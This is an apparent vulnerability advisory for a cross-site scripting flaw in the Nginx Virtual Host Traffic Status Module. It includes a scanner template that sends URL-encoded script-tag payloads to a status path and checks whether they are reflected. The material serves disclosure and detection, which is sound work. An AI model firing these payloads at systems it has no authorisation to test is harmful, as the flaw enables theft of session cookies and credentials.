nginx-module-vts-xss: Nginx Virtual Host Traffic Status Module - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: nginx-module-vts-xss | POC: 已公开

漏洞描述

Nginx Virtual Host Traffic Status Module contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: nginx-module-vts-xss

info:
  name: Nginx Virtual Host Traffic Status Module - Cross-Site Scripting
  author: madrobot,j4vaovo
  severity: high
  description: Nginx Virtual Host Traffic Status Module contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/vozlt/nginx-module-vts
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: nginx,xss,status,vuln

http:
  - raw:
      - |
        GET /_404_%3E%3Cscript%3Ealert(1337)%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /status%3E%3Cscript%3Ealert(7331)%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200"
          - "contains(header_2, 'text/html')"
          - "contains(tolower(body_2), '<script>alert(7331)</script>')"
        condition: and

      - type: dsl
        dsl:
          - "!contains(tolower(body_1), '<script>alert(1337)</script>')"
        condition: and
# digest: 4b0a00483046022100e5ec3865415852e04da295d21de21e01b874542197df647dbdf2cf1de18008ec022100b2eba68836162e15902644e2d82f3c4b8b247e57de3c59969080634796c14ab3:922c64590222798bb761d5b6d8e72950